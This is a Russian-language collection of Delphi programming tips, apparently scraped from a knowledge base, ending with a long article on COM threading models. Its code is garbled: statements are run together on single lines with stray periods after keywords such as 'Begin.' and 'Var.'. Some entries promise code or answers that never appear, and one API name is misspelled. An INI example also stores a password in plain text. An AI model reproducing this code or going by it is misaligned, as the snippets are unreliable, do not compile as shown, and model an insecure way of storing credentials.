Function ArcSinh(X: Extended): Extended;

Function ArcTanh(X: Extended): Extended;

Логарифмы, экспоненты и возведение в степень.

Function LnXP1(X: Extended): Extended; - натуральный логариф x+1 (для более высокой точности при x близких к нулю).

Function Log10(X: Extended): Extended; - десятичный логарифм.

Function Log2(X: Extended): Extended; - логарифм по основанию 2.

Function LogN(Base, X: Extended): Extended; - логарифм по произвольному основанию.

Function IntPower(Base: Extended; Exponent: Integer): Extended register;

Function Power(Base, Exponent: Extended): Extended;

Разные функции.

Procedure Frexp(X: Extended; var Mantissa: Extended; var Exponent: Integer) register; - возвращает мантису и экспоненту.

Function Ldexp(X: Extended; P: Integer): Extended register; - возвращает X*2**P.

Function Ceil(X: Extended):Integer; - округляет до ближайшего большего целого.

Function Floor(X: Extended): Integer; - округляет до ближайшего меньшего целого.

Function Poly(X: Extended; const Coefficients: array of Double): Extended; вычисление полинома.

Статистические функции.

Function Mean(const Data: array of Double): Extended; среднее арифметическое.

Function Sum(const Data: array of Double): Extended register; сумма ряда.

Function SumInt(const Data: array of Integer): Integer register; сумма ряда целых чисел.

Function SumOfSquares(const Data: array of Double): Extended; сумма квадратов.

Procedure SumsAndSquares(const Data: array of Double; var Sum, SumOfSquares: Extended) register; сумма и сумма квадратов одной функцией.

Function MinValue(const Data: array of Double): Double; минимальное значение в ряду.

Function MinIntValue(const Data: array of Integer): Integer; минимальное значение в ряду целых.

Function Min(A,B) минимальное значение из 2х чисел (overload функции для Integer, Int64, Single, Double, Extended).

Function MaxValue(const Data: array of Double): Double;

Function MaxIntValue(const Data: array of Integer): Integer;

Function Max(A,B);

Function StdDev(const Data: array of Double): Extended; стандартное отклонение.

Procedure MeanAndStdDev(const Data: array of Double; var Mean, StdDev: Extended); - среднее арифметическое и стандартное отклонение.

Function PopnStdDev(const Data: array of Double): Extended; распределение стандартного отклонения (Population Standard Deviation).

Function Variance(const Data: array of Double): Extended;

Function PopnVariance(const Data: array of Double): Extended; (Population Variance).

Function TotalVariance(const Data: array of Double): Extended;

Function Norm(const Data: array of Double): Extended; среднее квадратичное (Sqrt(SumOfSquares)).

Procedure MomentSkewKurtosis(const Data: array of Double;

Var M1, M2, M3, M4, Skew, Kurtosis: Extended); основные статистические моменты.

Function RandG(Mean, StdDev: Extended): Extended; - случайные числа с Гауссовским распределением.

Финансовые функции.

Function DoubleDecliningBalance(Cost, Salvage: Extended; Life, Period: Integer): Extended;

Function FutureValue(Rate: Extended; NPeriods: Integer; Payment, PresentValue: Extended; PaymentTime: TPaymentTime): Extended;

Function InterestPayment(Rate: Extended; Period, NPeriods: Integer; PresentValue,

FutureValue: Extended; PaymentTime: TPaymentTime): Extended;

Function InterestRate(NPeriods: Integer;

Payment, PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;

Function InternalRateOfReturn(Guess: Extended;

Const CashFlows: array of Double): Extended;

Function NumberOfPeriods(Rate, Payment, PresentValue, FutureValue: Extended;

PaymentTime: TPaymentTime): Extended;

Function NetPresentValue(Rate: Extended; const CashFlows: array of Double;

PaymentTime: TPaymentTime): Extended;

Function Payment(Rate: Extended; NPeriods: Integer;

PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;

Function PeriodPayment(Rate: Extended; Period, NPeriods: Integer;

PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;

Function PresentValue(Rate: Extended; NPeriods: Integer;

Payment, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;

Function SLNDepreciation(Cost, Salvage: Extended; Life: Integer): Extended;

Function SYDDepreciation(Cost, Salvage: Extended; Life, Period: Integer): Extended;

©Drkb::00312.

Передача переменной в отчет ReportSmith.

Следующий код показывает, как передать переменную в отчет.

Привлечение внимания к окну.

Часто возникает проблема - в многооконном приложении необходимо обратить внимание пользователя на то, что какое-то из окон требует внимания (например, к нему пришло сообщение по DDE, в нем завершился какой-либо процесс, произошла ошибка ...). Это легко сделать, используя команду API FlashWindow:

Code: Procedure TForm1.Timer1Timer(Sender: TObject); Begin. FlashWindow(Handle,true); End;

Проблема с установками принтера.

Обнаружил, что компонент QReport никак не реагирует на установки принтера PrinterSetup диалога, вызываемого нажатием кнопочкисобственного Preview!

В QuickReport есть собственный объект TQRPrinter, установки которого он использует при печати, а стандартные установки принтеров на него не влияют. В диалоге PrinterSetup, вызываемом из Preview можно лишь выбрать принтер на который нужно печатать (если, конечно, установлено несколько принтеров).

Советую поставить обновление QReport на 2.0J с www.qusoft.com.

Перед печатью (не только из QReport) программно установите требуемый драйвер принтера текущим для Windows.

Code: Function SetDefPrn(const stDriver : string) : boolean; Begin. SetPrinter(nil).Free; Result := WriteProfileString('windows', device, PChar( stDriver)); End;

Where are my components?

Windows NT and 2000:

Most likely Delphi was installed by an administrator or a user with administrator rights and the user currently logged on does not have administrator rights. The component library is failing to load because it does not have the registry keys available that indicate where the packages are located. Install first as Admin, then do a 'Registry Settings Only' install for each user to get all the necessary DLL's and registry key entries to run Delphi under a specific user profile.

To do this login as the user and run the Delphi install. Around 3 screens in you'll get to the screen where you need to choose the install directories. At the bottom of this screen is a check box to select for Registry Settings Only. Complete the install as usual. It should be much faster since no files are copied.

If it looks like the components are there but the bitmap images are missing then try unistalling and reinstalling each package. This can be done very easily by going into the Delphi menu option Component | Install Packages. Uncheck each of the packages and then check it again. Say "Yes" to any message boxes that appear asking about the removal of related packages. I recommend you start by removing "Borland Database Components" since this will remove several others as well.

©Drkb::00005.

Duplicate resource error.

When I try to add a resource to my project's .res file, I get a "Duplicate Resource" error when linking. The resource I have added is a unique resource. How can I successfully add the resource to my project?

The projects resource file is generated by the IDE wizard, and is not intended to be modified. To add additional resources to your project, create a separate resource file with a unique name that does not conflict with either the project or any of the unit names. Then to add the resource file to Delphi, simply add the following line to any unit file in the project:

Работа с INI файлами.

Почему иногда лучше использовать INI-файлы, а не реестр?

1. INI-файлы можно просмотреть и отредактировать в обычном блокноте.

2. Если INI-файл хранить в папке с программой, то при переносе папки на другой компьютер настройки сохраняются. (Я еще не написал ни одной программы, которая бы не поместилась на одну дискету :).

3. Новичку в реестре можно запросто запутаться или (боже упаси), чего-нибудь не то изменить.

Поэтому для хранения параметров настройки программы удобно использовать стандартные INI файлы Windows. Работа с INI файлами ведется при помощи объекта TIniFiles модуля IniFiles. Краткое описание методов объекта TIniFiles дано ниже.

Constructor Create('d:\test.INI');

Создать экземпляр объекта и связать его с файлом. Если такого файла нет, то он создается, но только тогда, когда произведете в него запись информации.

WriteBool(const Section, Ident: string; Value: Boolean);

Присвоить элементу с именем Ident раздела Section значение типа boolean.

WriteInteger(const Section, Ident: string; Value: Longint);

Присвоить элементу с именем Ident раздела Section значение типа Longint.

WriteString(const Section, Ident, Value: string);

Присвоить элементу с именем Ident раздела Section значение типа String.

ReadSection (const Section: string; Strings: TStrings);

Прочитать имена всех корректно описанных переменных раздела Section (некорректно описанные опускаются).

ReadSectionValues(const Section: string; Strings: TStrings);

Прочитать имена и значения всех корректно описанных переменных раздела Section. Формат :

Имя_переменной = значение.

EraseSection(const Section: string);

Удалить раздел Section со всем содержимым.

ReadBool(const Section, Ident: string; Default: Boolean): Boolean;

Прочитать значение переменной типа Boolean раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

ReadInteger(const Section, Ident: string; Default: Longint): Longint;

Прочитать значение переменной типа Longint раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

ReadString(const Section, Ident, Default: string): string;

Прочитать значение переменной типа String раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

Free;

Закрыть и освободить ресурс. Необходимо вызвать при завершении работы с INI файлом.

Property Values[const Name: string]: string;

Доступ к существующему параметру по имени Name.

Пример :

Code: Procedure TForm1.FormClose(Sender: TObject); Var. IniFile:TIniFile; Begin. IniFile := TIniFile.Create('d:\test.INI'); { Создали экземпляр объекта }. IniFile.WriteBool('Options', 'Sound', True); { Секция Options: Sound:=true }. IniFile.WriteInteger('Options', 'Level', 3); { Секция Options: Level:=3 }. IniFile.WriteString('Options' , 'Secret password', Pass); { Секция Options: в Secret password записать значение переменной Pass }. IniFile.ReadSection('Options ', memo1.lines); { Читаем имена переменных}. IniFile.ReadSectionValues('Options ', memo2.lines); { Читаем имена и значения }. IniFile.Free; { Закрыли файл, уничтожили объект и освободили память }. End;

Копирование файлов.

Копирование методом Pascal.

Code: Type. TCallBack=procedure (Position,Size:Longint); {Для индикации процесса копирования}. Procedure FastFileCopy(Const InfileName, OutFileName: String; CallBack: TCallBack); Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }. Type. PBuffer = ^TBuffer; TBuffer = array [1..BufSize] of Byte; Var. Size : integer; Buffer : PBuffer; Infile, outfile : File; SizeDone,SizeFile: Longint; Begin. If (InFileName <> OutFileName) then. Begin. Buffer := Nil; AssignFile(infile, InFileName); System.Reset(infile, 1); Try. SizeFile := FileSize(infile); AssignFile(outfile, OutFileName); System.Rewrite(outfile, 1); Try. SizeDone := 0; New(Buffer); Repeat. BlockRead(infile, Buffer^, BufSize, Size); Inc(SizeDone, Size); CallBack(SizeDone, SizeFile); BlockWrite(outfile,Buffer^, Size). Until Size < BufSize; FileSetDate(TFileRec(outfile).Handle, FileGetDate(TFileRec(infile).Handle)); Finally. If Buffer <> Nil then Dispose(Buffer); System.close(outfile). End; Finally. System.close(infile); End; End else. Raise EInOutError.Create('File cannot be copied into itself'); End;

©Drkb::03173.

Копирование методом потока.

Code: Procedure FileCopy(Const SourceFileName, TargetFileName: String); Var. S,T : TFileStream; Begin. S := TFileStream.Create(sourcefilename, fmOpenRead ); Try. T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate); Try. T.CopyFrom(S, S.Size ) ; FileSetDate(T.Handle, FileGetDate(S.Handle)); Finally. T.Free; End; Finally. S.Free; End; End;

©Drkb::03174.

Копирование методом LZExpand.

Code: Uses LZExpand; Procedure CopyFile(FromFileName, ToFileName : string); Var. FromFile, ToFile: File; Begin. AssignFile(FromFile, FromFileName); AssignFile(ToFile, ToFileName); Reset(FromFile); Try. Rewrite(ToFile); Try. If LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then. Raise Exception.Create('Error using LZCopy'). Finally. CloseFile(ToFile); End; Finally. CloseFile(FromFile); End; End;

©Drkb::03175.

Копирование методами Windows.

Code: Uses ShellApi; // !!! важно. Function WindowsCopyFile(FromFile, ToDir : string) : boolean; Var F : TShFileOpStruct; Begin. F.Wnd := 0; F.wFunc := FO_COPY; FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile); ToDir:=ToDir+#0; F.pTo:=pchar(ToDir); F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION; Result:=ShFileOperation(F) = 0; End; // пример копирования. Procedure TForm1.Button1Click(Sender: TObject); Begin. If not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then. ShowMessage('Copy Failed'); End;

Включение и выключение устройств ввода/вывода.

Иногда может возникнуть необходимость в выключении на время устройств ввода - клавиатуры и мыши. Например, это неплохо сделать на время выполнения кода системы защиты от копирования, в играх, или в качестве "наказания" при запуске программы по истечению срока ее бесплатного использования ... . Однако наилучшее ее применение - отключение клавиатуры и мыши на время работы демонстрационки, основанной на воспроизведении записанных заранее перемещений мышки и клавиатурного ввода (см. об этом отдельный раздел этой книги). Это элементарно сделать при помощи API:

EnableHadwareInput(Enable:boolean): boolean;

Enable - требуемое состояние устройств ввода (True - включены, false - выключены). Если ввод заблокирован, то его можно разблокировать вручную - нажать Ctrl + Alt + Del, при появлении меню "Завершение работы программы" ввод разблокируется.

А вот еще интересный прикол.

Включение/выключение монитора программным способом.

Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.

Отключить :

Code: SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

Включить :

Code: SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);

©Drkb::01687.

Источник: http://dmitry9.nm.ru/info/

Как передать при создании нити (Tthread) ей некоторое значение?

К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл. Потомку надо передать имя файла, а вот как?

Как написать свой Plug in.

Типовая задача - разрабатывается некая задача и при этом.

Некоторые ее компоненты могут не инсталлироваться баз ущерба для работоспособности.

Некоторые компоненты предполагается изготавливать впоследствии и рассылать пользователям.

Некоторые компоненты могут разрабатываться другими программистами и распространяться независимо от программы.

.....

Классические примеры - фильтры для совместимости по форматам файлов с другими программами, некоторые расширения и дополнительные возможности. Примеры и моей практики - приведу парочку.

Программа управления программатором ПЗУ. Заранее неизвестно, с каким железом она будет работать и как им управлять. Необходимо было дать возможнось разработчику железа написать для него поддержку.

Программа печати отчетов. Она должна печатать в любой кодировке на любой принтере, в т.ч. и экзотическом типа АЦПУ. Заранее неизвестно, какие принтеры будуп применяться совместно с ней и как ими управлять (известно только одно - драйверов под них нет и не будет) - переделывать программу под каждый принтер - неинтересно ...

Итак, все это можно реализовать в DLL, однако обычное ее подключение приведет к тому, что при запуске программа будет искать все подключенне к ней DLL и в случае отсутствия хотя-бы одной откажется запускаться. Это не приемлемо, но к счастю есть возможность и весьма удоюный набор сервисных функций для динамической загрузки, использования и выгрузки DLL.

Пример (приложение имеет одно окно, на нем кнопка):

Code: Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; Type. TForm1 = class(TForm). Button1: TButton; Procedure Button1Click(Sender: TObject); Procedure FormCreate(Sender: TObject); Private. Public. End; // Тип "процедура". Естественно, можно определит типы. // "функция" или "функция с параметрами" ... TDllProc = procedure; Var. Form1: TForm1; DllProcPtr : TDllProc; LibInstance : HMODULE; // Логический номер модуля DLL. Implementation. {$R *.DFM}. Procedure TForm1.Button1Click(Sender: TObject); Begin. // Проверим, загружена ли DLL. If LibInstance=0 then Begin. // Не загружена, попробуем загрузить. LibInstance := LoadLibrary('plug_in.dll'); // Проверим, успешна ли загрузка (LibInstance=0 - неуспешно). If LibInstance=0 then Begin. ShowMessage('Ошибка загрузки библиотеки plug_in.dll'); Exit; End; // Ищем функцию по ее имени (имя должно точно совпадать). DllProcPtr := TDllProc(GetProcAddress(LibInstance,'MyProc')); // Проверим, нашли ли (если нашли, то Assigned вернет true). If not Assigned(DllProcPtr) then Begin. // Не нашли - выгружаем DLL из памяти. FreeLibrary(LibInstance); LibInstance:=0; ShowMessage('Ошибка: функция MyProc не найдена'); Exit; End; // Непосредственно вызов функции. DllProcPtr; // Выгрузка библиотеки. FreeLibrary(LibInstance); LibInstance:=0; End; End; Procedure TForm1.FormCreate(Sender: TObject); Begin. DllProcPtr:=nil; LibInstance:=0; End; End.

Введение.

Понимание потоковых моделей в COM при программировании на Delphi.

Автор Бин Ли.

Я всегда твердо верил, что нет ничего такого, что было бы невозможно понять. Необходимо только "выпарить" наиболее сложные части проблемы и потратить какое-то количество времени на понимание частей проблемы "кусок за куском". Затем эти части собрать вместе и понять проблему целиком.

Потоковые модели в COM имеют репутацию наиболее сложных для понимания. Возможно потому, что множество имеющейся документации по этой теме имеет "техническую природу" или ориентировано на конкретный язык, чаще всего C или C++. Цель этой статьи - дать Вам возможность понять, почему потоковые модели в COM так важны и как правильно использовать потоковые модели в Ваших приложениях COM. Моя цель - представить Вам материал таким образом, чтобы Вы могли читать его последовательно от начала до конца и в результате понять всю статью. Сказав это, я бы настойчиво рекомендовал Вам не пропускать ни одной страницы в процессе чтения, чтобы у Вас не возникло трудностей оттого, что Вы что-то пропустили раньше. А теперь, я желаю Вам удачи, и не говорите, что я не предупреждал Вас об этом!

Прежде, чем начать изложение, давайте начнем с того, что поймем, почему потоковые модели так важны для Ваших приложений COM. Исходя из своего опыта, я могу сказать, что наиболее существенной причиной использования потоковых моделей является повышение общей производительности и скорости реакции Вашей программы, особенно для объектов серверов COM, которые используются для обслуживания большого количества клиентских приложений. Но я не хочу сказать, что использование потоковых моделей в Ваших объектах серверов COM всегда увеличивает производительность. Вы должны тщательно изучить, как используются Ваши объекты и как потоковая модель повлияет на производительность приложения и целостность данных. Я должен подчеркнуть, что вопросы целостности обязательно должны рассматриваться объектов при принятии решения, применять или нет потоковую модель.

Несмотря на то, что Вы можете думать, что использование потоковой модели существенно повысит производительность объекта, может оказаться, что Ваши объекты сильно зависят, скажем, от третьих библиотек, которые могут "не выжить" в условиях многопоточности. Другой хорошей причиной применения многопоточности может быть то, что задача по своей природе является весьма пригодной для многопоточной реализации. Например, серверные объекты, являющиеся чисто служебными объектами, вероятно, могут сильно зависеть от времени при выполнении операций или захватывании ресурсов. Примерами таких объектов являются мониторы работы оборудования, объекты пакетной обработки или даже простые объекты манипулирования данными, время исполнения которых для успешного завершения непредсказуемо. В этих случаях тип разрабатываемого Вами приложения по существу определяет использование многопоточности.

Имеется множество других причин, при которых Вы могли бы использовать многопоточность, но две упомянутые выше причины являются наиболее общими среди наблюдаемых в промышленном программировании.

С другой стороны, я бы хотел предупредить, что не стоит применять многопоточность, если Вы не нуждаетесь в ней или не можете понять преимущества получаемого при этом решения. Это означает, что Вам не стоит даже думать о многопоточности, если Вы думаете только о том, что это круто. Поверьте мне, использование мнопоточности существенно усложняет Ваше приложение и, если Вы недостаточно все продумали, Вам придется искать ошибки в тех местах программы, которые прекрасно работали в однопоточном исполнении.

©Drkb::04313.

Можно ли обратиться к колонке или строке grid'а по заголовку?

В следующем примере приведены две функции: GetGridColumnByName() и GetGridRowByName(), которые возвращают колонку или строку, имеющую заданный заголовок (caption).

Code: Procedure TForm1.FormCreate(Sender: TObject); Begin. StringGrid1.Rows[1].Strings[0] := 'This Row'; StringGrid1.Cols[1].Strings[0] := 'This Column'; End; Function GetGridColumnByName(Grid: TStringGrid; ColName: string): integer; Var. I: integer; Begin. For i := 0 to Grid.ColCount - 1 do. If Grid.Rows[0].Strings[i] = ColName then. Begin. Result := i; Exit; End; Result := -1; End; Function GetGridRowByName(Grid: TStringGrid; RowName: string): integer; Var. I: integer; Begin. For i := 0 to Grid.RowCount - 1 do. If Grid.Cols[0].Strings[i] = RowName then. Begin. Result := i; Exit; End; Result := -1; End; Procedure TForm1.Button1Click(Sender: TObject); Var. Column: integer; Row: integer; Begin. Column := GetGridColumnByName(StringGrid1, 'This Column'); If Column = -1 then. ShowMessage('Column not found'). Else. ShowMessage('Column found at ' + IntToStr(Column)); Row := GetGridRowByName(StringGrid1, 'This Row'); If Row = -1 then. ShowMessage('Row not found'). Else. ShowMessage('Row found at ' + IntToStr(Row)); End;

Не получается вставить в таблицу записи со строками на русском языке.

В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr.

Это простой вопрос в том случае, если база уже создана на диске. Если мы создаем базу динамически из программы, то как потом поставить русский язык без Database Dеsкtор'а?

Оказывается это не так просто. Я перерыл весь инет и так и не нашел. В итоге пришлось потрудится и получилась следующая функция:

Code: { Устанавливает русский LANGDRIVER для таблицы BDE (Paradox или dBASE)}. { Таблица должна уже существовать на диске. Если вы создаете таблицу динамически, Не забудьте вызвать Table.CreateTable }. Procedure SetTableRussianLanguage(Table: TTable); Var. Props: CURProps; HDb: hDBIDb; TableDesc: CRTblDesc; OptDesc: FLDDesc; OptData: array [0..250] of Char; S: string; Const // Define propertly table type & codepage from list below. LDName = 'ancyrr'; // Paradox ANSI Cyrillic. // LDName = 'cyrr'; // Paradox Cyrr 866. // LDName = 'DB866ru0'; // dBASE RUS cp866. Begin. // Get handle (if table still not opened). Table.Open; // Get the table properties to determine table type... Check(DbiGetCursorProps(Table.Handle, Props)); // Blank out the structure... FillChar(TableDesc, sizeof(TableDesc), 0); FillChar(OptDesc, SizeOf(OptDesc), #0); // Get the database handle from the table's cursor handle... Check( DbiGetObjFromObj(hDBIObj(Table.Handle), objDATABASE, HDBIObj(hDb))); { If table name contain cyrillic or other native character, Convert name to OEM }. SetLength(S, Length(Table.TableName)); CharToOEM(PChar(Table.TableName), @S[1]); // Put the table name in the table descriptor... StrPCopy(TableDesc.szTblName, S{Table.TableName}); // Put the table type in the table descriptor... StrPCopy(TableDesc.szTblType, Props.szTableType); // Set the Pack option in the table descriptor to TRUE... StrCopy(OptDesc.szName, 'LANGDRIVER'); OptDesc.iLen:=Length(LDName)+1; TableDesc.iOptParams:=1; TableDesc.pfldOptParams:=@OptDesc; TableDesc.pOptData:=@OptData; StrPCopy(OptData, LDName); // Close the table so the restructure can complete... Table.Close; // Call DbiDoRestructure... Check(DbiDoRestructure(hDb, 1, @TableDesc, nil, nil, nil, False)); End;

Основы многопоточности и COM.

Основы многопоточности и COM.

Многопоточность в COM очень легко понять. На самом деле! Нужно всего лишь потратить время на освоение большого количества новой информации! Одной из "непростительных" причин того, что изучение многопоточности в COM столь трудно, является страх перед хорошо звучащими (но непонятными) словечками, такими как:

Подразделения (apartments), однопоточные подразделения (STAs), многопоточные подразделения (MTAs), свободное использование потоков (free threading), маршалинг интерфейса (interface marshaling) и т.д.

Но это все только громко звучащие слова и ничего более. В действительности же имеется множество хорошо определенных правил, которым очень легко следовать для полного понимания многопоточности в COM. Все, что Вам нужно - это знать, что это за правила, выучить их, а затем действительно использовать их в своих приложениях. Я бы хотел начать разговор о первом и наиболее общем правиле, а затем идти дальше и дальше к специфическим правилам далее в этой статье.

Правило #1: Каждое приложение, использующее COM, должно сообщить COM, как оно будет управлять потоками исполнения (никаких если, никаких но). Это правило является важным, так как для того, чтобы COM могла бы взаимодействовать с Вашим приложением или Ваше приложение могло бы взаимодействовать с другими приложениями посредством COM, COM должна знать как правильно делать вызовы объектов Вашего приложения на уровне той потоковой модели, которую Вы указали.

Это имеет смысл, так как COM является тем клеем, который используется приложениями для взаимодействия друг с другом и обеспечивает корректность взаимодействия многопотоковых приложений. COM, по крайней мере, должен знать, как приложения, которые он связывает вместе, управляют многопоточностью. Этот уровень "потоковой трудности" называется потоковой моделью COM.

Для целей этой статьи мы определим 3 потоковых модели. В действительности нет никакой разницы, как их назвать. И так как мы понимаем, что каждая из них представляет из себя, я не буду больше беспокоиться о том, как Вам хотелось бы их называть.

Однопотоковая модель (the single-threaded model).

Если приложение работает в однопотоковой модели, то это означает, что в этом приложении имеется только один поток (thread) исполнения, в котором приложение взаимодействует с COM.

Это подразумевает, что COM будет гарантировать взаимодействие с Вашим приложением (производить обращения к нему) таким образом, что не будет одновременных обращений в разных потоках. Когда COM хочет чего-либо от Вашего приложения, он будет производить это только в главном потоке Вашего приложения.

Это также подразумевает, что если у Вас есть однопотоковый сервер COM, который сейчас имеет, скажем, 50 объектов, используемых (разделяемых) 50-ю клиентами и, если все 50 клиентов пытаются вызвать метод каждого объекта в одно и то же время, то COM вмешается и не позволит выполниться 50 потокам на Вашем сервере одновременно. Вместо этого COM сделает так, что вызовы методов будут произведены в одном потоке один после другого, пока все 50 объектов не удовлетворят вызовы 50 методов (и, конечно же, каждый метод будет возвращать результат работы непосредственно после своего завершения).

Как Вы видите в этом примере приведен крайне неэффективный сервер для такого режима его использования. Представьте себе, что каждый метод требует 1 секунду времени для своего завершения. Потребуется, по крайней мере, 50 секунд для обслуживания 50 одновременных обращений и, что еще хуже, пока не будет обслужен первый вызов, никакие другие вызовы обслуживаться не будут.

Верите или нет, но Delphi 3 технически может создавать только однопотоковые внутренние и внешние сервера COM. Хотя это не может выглядеть ограничением для внутренних серверов (DLL), но, поверьте мне, это очень плохо работает в случае с внешними серверами (EXE), когда множество клиентов должны обслуживаться одновременно с разумным временем отклика.

Модель однопотокового подразделения (the single-threaded apartment model - STA).

Не вдаваясь в подробности сейчас (эта модель будет полностью объяснена позже), эта модель позволяет COM взаимодействовать с Вашим приложением в нескольких подразделениях (apartment), каждое из которых содержит в точности один поток(thread).

Вы можете подумать: Ух ты! Что за чертовщина это подразделение? Простейшее определение, которое я видел, звучит так: подразделение - это хорошо определенная инкапсуляция того, как потоки и объекты COM взаимодействуют друг с другом. Когда я говорю "инкапсуляция", я подразумеваю, что некоторый поток и некоторый объект, которые должны что-то делать совместно с COM определены в понятии "подразделение", в котором они "живут". Другими словами, Вы не можете описать как поток и объект COM взаимодействуют друг с другом без определения сначала понятия "подразделение", которое содержит как поток, так и объект.

Когда я говорю "хорошо определенная", я подразумеваю, что взаимодействие между данным потоком и данным объектом COM связано набором правил, определяемых типом подразделения, в котором этот поток и этот объект размещены. Мы перейдем к изучению этих правил позже в этой статье, но сейчас давайте просто скажем, что эти правила имеют хорошо определенные спецификации в COM. Давайте сделаем это более понятным путем определения другого правила:

Правило #2: Каждый поток в Вашем приложении, использующий COM, сначала должен войти в подразделение или инициализировать его (никаких если, никаких но).

Если поток вошел в подразделение или инициализировал его, он должен покинуть его до того как завершится сам (никаких если, никаких но). Просто полагайте, что подразделение - это то место, где "живет" поток.

Причиной того, почему поток, использующий COM, должен войти в подразделение, является тот факт, что COM должен внутренне инициализировать себя таким образом, чтобы знать, как правильно взаимодействовать с потоком.

Причиной того, что поток должен покинуть подразделение до своего завершения, является тот факт, что это единственный способ уведомить COM о том, что поток больше не желает использовать это подразделение и что COM теперь может делать все, что ему нужно, чтобы освободить ресурсы, использовавшиеся подразделением.

Если поток входит в подразделение и затем создает объект COM, то этот объект описывается как "расположенный" или "живущий" в этом подразделении (в действительности это не совсем аккуратное определение, но для целей простоты и легкости понимания подразделений давайте сейчас предполагать, что это так). Теперь, если различные потоки (каждый из которых может быть, а может и не быть потоком, первоначально создавшим объект) пытаются манипулировать этим объектом, COM может вмешиваться в их работу с полной уверенностью, что доступ к этому объекту производится именно тем способом, который определяется типом подразделения, в котором он живет.

В чем же заключаются правила однопотокового подразделения? Очень просто!

Во-первых, однопотоковое подразделение (STA) - это подразделение, содержащее только один поток, взаимодействующий с COM.

Во-вторых, если различные потоки пытаются взаимодействовать с STA или, точнее, с объектом COM, живущим в STA, COM будет гарантировать, что все потоки будут обслуживаться по принципу "только один одновременно", единственным потоком, который первым вошел или, что существенно, создал это подразделение.

В-третьих, если Ваше приложение желает использовать модель однопотокового подразделения и потребуется взаимодействие нескольких потоков с COM, то Ваше приложение будет вынуждено создать несколько однопотоковых подразделений, каждое из которых соответствует единственному потоку. Чтобы легче было запомнить эти правила, давайте я приведу пример.

Пусть Вы создали объект COM X в потоке STA. Пусть X имеет один метод с именем Method1. Теперь, если два или более потоков (очевидно, что каждый из них живет в своем STA) пытаются одновременно вызвать X.Method1 в одном экземпляре X, COM в соответствии с моделью STA, будет гарантировать, что X в действительности не бомбардируется одновременными вызовами Method1 в разных потоках. Вместо этого COM обеспечит, что X.Method1 будет вызван первым запросившим потоком, затем следующим, затем еще следующим и т.д. пока ВСЕ вызовы не будут обслужены одним потоком, который первоначально создал подразделение, в котором живет X.

Другими словами, вызовы методов объекта COM, живущего в STA, гарантировано будет следовать последовательно один после другого вне зависимости от того, откуда пришел этот поток.

Теперь, если Вы создадите два экземпляра объекта X, каждый в отдельном STA и вызовите метод X.Method1 в обоих экземплярах одновременно, COM позволит обоим вызовам исполняться одновременно, так как каждый раздельный STA имеет свой собственный поток.

Поэтому основная разница между моделью STA и однопотоковой моделью заключается в том, что при однопотоковой модели может быть только один поток на все приложение, в то время как в модели STA Вы можете иметь несколько потоков, каждый из которых исполняется в собственном STA. Если Вы немного подумаете, то придете к выводу, что однопотоковая модель - это все лишь дегенеративный вариант модели STA, в которой имеется только один STA на все приложение.

Модель многопотокового подразделения (the multithreaded apartment model - MTA).

Модель многопотокового подразделения (MTA) просто является расширением модели STA. Если Вы еще способны следить за мной, легко сделать вывод, что MTA является подразделением, в котором могут размещаться несколько потоков, в то время как в STA в подразделении может размещаться только один поток.

Основная разница между моделями STA и MTA заключается в том, что если Вы создаете объект в MTA и используете его из нескольких потоков, COM осуществляет одновременный доступ к нему в отличие от модели STA, при которой осуществляется последовательный доступ к объекту. Как я уже говорил ранее, тип подразделения определяет, каким образом потоки взаимодействуют с объектами COM, живущими в этом подразделении. Если Вы создаете объект в MTA, COM будет гарантировать, что поступающие вызовы методов могут происходить одновременно из нескольких потоков.

Как Вы можете видеть, программирование объектов, которые Вы собираетесь использовать в модели MTA, должно осуществляться таким образом, чтобы они могли обрабатывать поступающие запросы от любого потока в любое время и, в то же время, сохранять свою целостность. Другое правило, которое Вы должны всегда помнить, заключается в том, что один процесс, взаимодействующий с COM, может содержать только один MTA. Это означает, что если Вам необходимо создать несколько потоков, взаимодействующих с COM в MTA, то каждый из этих потоков должен входить в единственный MTA Вашего процесса.

Мы только что определили 3 различных типа потоковых моделей, доступных в COM.

Однопотоковая модель может быть описана как самая слабая из всех, когда дело касается использования потоков в приложении, т.е. она не позволяет обрабатывать одновременные запросы COM из разных потоков.

Модель однопотокового подразделения (модель STA) немного сложнее, чем однопотоковая модель. Это выражается в том, что она позволяет взаимодействовать COM с несколькими потоками, но может сделать это только путем создания нескольких подразделений. Это подразумевает, что STA не является существенно более сложной, чем однопотоковая модель. При этом каждый STA имеет только один поток, который и будет обрабатывать все взаимодействие с COM в пределах подразделения.

MTA, с другой стороны, является наиболее сложным из всех перечисленных в смысле взаимодействия с COM нескольких потоков. Другими словами, объект, живущий в MTA, говорит внешнему миру "Я сложно устроен! Я могу работать с потоками где угодно и в любое время!".

Перед тем, как продолжить дальше, я бы хотел отметить некоторые термины.

Модель STA часто называется проще как "работающие в одном потоке" (apartment-threaded), а модель MTA как "работающие во многих потоках" (free-threaded). Хотя мне и не хочется использовать эти термины в своей статье, но чувствуйте себя свободно и подменяйте названия моделей STA и MTA на них, если они понятнее для Вас. Это только слова и ничего более!

Правило #3: Объекты COM создаются в потоках, потоки живут в подразделениях, а подразделения живут в процессах.

